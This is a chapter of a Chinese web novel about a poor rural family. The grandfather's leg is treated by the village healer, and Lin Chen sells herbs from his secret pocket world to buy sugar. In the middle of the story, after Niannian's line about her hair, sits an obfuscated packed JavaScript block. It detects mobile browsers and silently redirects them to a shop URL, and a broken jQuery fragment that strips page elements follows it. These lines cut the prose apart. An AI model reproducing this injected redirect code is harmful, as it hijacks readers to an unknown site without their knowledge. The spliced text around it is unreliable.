念念的糖吃了三天。
每天只给一块，早上出门前，林晨从草纸包里拿出一块，剥开糖纸，塞进念念嘴里。念念含住，眯着眼，腮帮子鼓鼓的，含混地说一声“田”，然后乖乖地不闹了。
三块糖吃完的那天早上，念念把糖纸叠得整整齐齐，放在枕头底下。
“哥，二鼠什么时候再寄糖？”
“快了。”
“快了是啥时候？”
“就是很快。”
念念想了想，点点头，像是相信了。
但林晨知道，二叔上次寄钱是两个月前的，下次寄信不知道什么时候。糖没有了，但日子还要过。
爷爷的腿又疼了。
不是老样子，是比之前更疼了。孙大爷给的膏药贴了两天，爷爷说不管用，又撕下来了。奶奶着急，让林晨去请孙大爷来看看。
林晨下地回来，没进家门，直接去了孙大爷家。
孙大爷正蹲在院子里晒药材，地上铺着一张草席，上面摊着柴胡、防风、苍术，一样一样分得清清楚楚。
“孙大爷，我爷腿疼得厉害，您去看看吧。”
孙大爷站起来，拍了拍手上的土，背起药箱。
“走。”
两人一前一后往林家走。孙大爷走得不快，但步子稳，药箱在背上晃荡，里面的瓶子罐子碰撞着，叮叮当当。
进了院门，念念正蹲在地上画圈。她看见孙大爷，站起来喊了一声：“孙爷爷。”
孙大爷低头看她：“念念，你脸上有肉了。”
念念摸了摸自己的脸：“肉在哪？”
“这儿。”孙大爷指了指她的腮帮子。
念念捏了捏，没捏到什么，但她听见“有肉”两个字，高兴了。
“妈，孙爷爷说我有肉了。”她跑进灶房，拉母亲出来。
母亲正在切菜，手里还拿着刀，站在灶房门口，朝孙大爷点了点头。
“孙大叔，麻烦您了。”
“麻烦啥。”孙大爷摆摆手，进了东屋。
爷爷躺在炕上，腿上盖着棉被，脸色不太好，嘴唇发白。奶奶坐在炕沿上，手里拿着鞋底，没纳，放在膝盖上。
“德厚。”孙大爷走到炕边，把药箱放在炕沿上，“腿又疼了？”
“嗯。”爷爷没睁眼。
“我看看。”
孙大爷掀开棉被，卷起爷爷的裤腿。小腿肿了，皮肤发亮，按下去一个坑，半天弹不回来。
“肿得厉害。”孙大爷皱了皱眉，“你这两天是不是下地了？”
爷爷没说话。
“我问你话呢。”孙大爷声音大了一点。
“下了一天。”奶奶替他说，“南坡锄草，他不听劝，非要去。”
“胡闹。”孙大爷从药箱里拿出一个小瓷瓶，倒出几粒黑乎乎的药丸，放在炕沿上，“先把这个吃了，消肿的。”
爷爷睁开眼，看了看那几粒药丸，拿起来，放进嘴里，咽了。
孙大爷又从药箱里拿出几张膏药，在蜡烛上烤了烤，贴在爷爷的膝盖和小腿上。
“这几天别下地了。再下，这条腿就不要了。”
爷爷没接话，闭上眼睛。
孙大爷收拾好药箱，站起来。林晨跟在他后面出了东屋。
“孙大爷，我爷的腿——”
“老寒腿，受凉了，加上累的。”孙大爷在院子里站住，“你爷这个人，倔。腿疼也不说，下地也不说，等说的时候已经晚了。”
林晨没说话。
“我开的药，一顿吃三粒，一天三顿。膏药两天换一次。”孙大爷背上药箱，“你爷这腿，得养。养得好，还能下地。养不好，以后就炕上躺着了。”
“孙大爷，药多少钱？”
“记账。”孙大爷摆摆手，“你上次送的柴胡，值不少钱。”
孙大爷走了。林晨站在院子里，站了一会儿。
念念走过来，拉他的手：“哥，爷爷的腿会好吗？”
“会的。”
“那爷爷以后还能下地吗？”
“能。”
念念点点头，又蹲回去画圈。
晚上，林晨又进了空间。土豆码好了，玉米也磨了两袋面。他看了看木屋里存的粮食，够全家吃一阵子了。但爷爷的病要花钱，熙熙上学要花钱，家里处处要用钱。
他走到药材地边，柴胡又长了一茬，密密匝匝的，小黄花开得正旺。林晨蹲下来，割了半捆，用草绳捆好。
他不想卖。但没办法。
出了空间，他把柴胡塞进背篓里，用野菜盖住，放在柴房角落。明天去公社收购站，换成钱。
第二天一早，林晨没下地。他跟李叔请了假，背着背篓去公社。
念念追出来：“哥，你去哪？”
“上山。”
“我也去。”
“你在家陪爷爷。”
念念不情愿，但听见“陪爷爷”，想了想，点点头，转身跑进东屋。
“爷爷，我陪你。”
爷爷睁开眼，看了她一眼，没说话。念念爬上炕，坐在爷爷旁边，把自己的小手放在爷爷的大手里。
“爷爷，你的手好大。”
爷爷没说话，但把她的手握住了。
林晨背着背篓出了村。他没走大路，走的是山路，绕了一个弯，避开村里人。到了收购站，还是那个戴眼镜的中年人。
“又来了？”中年人看了看他背篓里的柴胡。
“嗯。”
“还是青山挖的？”
“嗯。”
中年人把柴胡放在秤上，称了称，四斤二两，六毛三分钱。他从抽屉里数出钱，连同收购凭证，推过来。
林晨把钱装进口袋，出了收购站。
他在供销社门口站了一会儿，走进去。
“同志，买一斤红糖。”一块二毛钱一斤。他又买了一盒火柴，两分钱。手里还剩四毛一分，他没再花，揣进口袋。
路过公社小学的时候，他停了一下。学校不大，一圈土墙，院子里有一根旗杆，旗杆上没挂旗。
林晨站在门口，往里看了一眼。几个孩子在院子里追着跑，笑声尖尖的。他想起熙熙，再过半个多月，就要来这里考试了。
他转身往回走，脚步比来时快了一些。
到家的时候，念念还在东屋陪爷爷。
“爷爷，你腿还疼不？”念念问。
“不疼。”
“那你为什么不下来？”
爷爷没回答。
念念趴在炕沿上，盯着爷爷的脸看了一会儿。
“爷爷，你胡子白了。”
爷爷睁开眼，看着她。
“念念的头发是黑的。”念念揪了揪自己的头发，“妈说，黑了好看。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508793|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爷爷伸手，摸了摸她的头。
林晨站在门口，看着这一幕，没进去。他转身去了灶房。
“妈，红糖。”他把红糖放在灶台上。
母亲看了一眼：“哪来的钱？”
“卖药材。”
母亲没再问，把红糖放进碗柜里。
“妈，我路过公社小学了。学校不小，院子大，有旗杆。”
母亲正在切菜，手顿了一下。
“熙熙能考上。”林晨说。
母亲没接话，继续切菜。
下午，林晨下地了。
李叔问：“你爷好点没？”
“好点了。孙大爷开了药，让养着。”
“养着好。老了，不能逞强。”
林晨点了点头。
玉米苗长高了，叶子从卷着变成展开的，嫩绿嫩绿的，风一吹，沙沙响。林晨蹲在地里拔草，拔了一垄又一垄。
太阳下山的时候，他收工回家。
院门口，念念不在。他走进灶房，念念正蹲在灶台边，帮母亲往灶膛里添柴。
“念念，你会烧火了？”
“会。”念念往灶膛里塞了一根柴，柴太长，塞不进去，她拿膝盖顶了顶，柴断了，掉进灶膛里，火一下子旺了。
“我厉害不？”念念回头问林晨。
“厉害。”
念念得意了，又拿了一根柴，往灶膛里塞。
母亲在旁边看着，没拦。
吃完饭，熙熙在油灯下写字。念念趴在旁边，拿小棍子在桌上画。
“姐，你写的什么？”
“字。”
“什么字？”
熙熙指着纸上那个字：“天。”
念念跟着念：“天。”
“对了。”
“天是什么？”
熙熙想了想：“天就是头顶上那个，蓝蓝的，有云。”
念念抬头看了看屋顶，屋顶是木头和茅草，看不见天。她又低头看纸，纸上那个“天”字，横平竖直的，不像蓝蓝的，也不像有云。
“不像。”念念摇头。
熙熙笑了：“等你上学了就知道了。”
念念“哦”了一声，继续拿小棍子在桌上画。
夜里，全家都睡了。
林晨摸进空间，把木屋里的粮食又清点了一遍。玉米面六袋，每袋五斤。土豆两筐，红薯干一袋。够吃，但不能停。他得继续种。
他走到黑土地边上，扛起锄头，翻了一块新地。翻完了，从种子袋里抓了一把黄豆，撒进土里。黄豆长得快，收成也好，磨成豆浆，给念念喝。
林晨把种子埋好，覆上土，起身走到井边。
月光不在空间里，头顶的白光永远亮着，暖暖的。他蹲在井边，捧了一口水喝下去，水凉丝丝的，疲惫散了大半。
他灌了竹筒，出来，兑进水壶。
躺在炕上，念念的手又搭过来了，小手指勾着他的袖子。林晨没动，在黑暗里睁着眼。窗外，风吹着老榆树的叶子，沙沙响。爷爷在东屋咳嗽了一声，奶奶说了句什么，听不清。然后一切又安静了。
林晨闭上眼。
明天，他要去南坡锄草，要去孙大爷家还药钱，要给念念留个糖钱，要给熙熙攒学费。
事情一件一件来，他一件一件做。
急不得。
但也不能慢。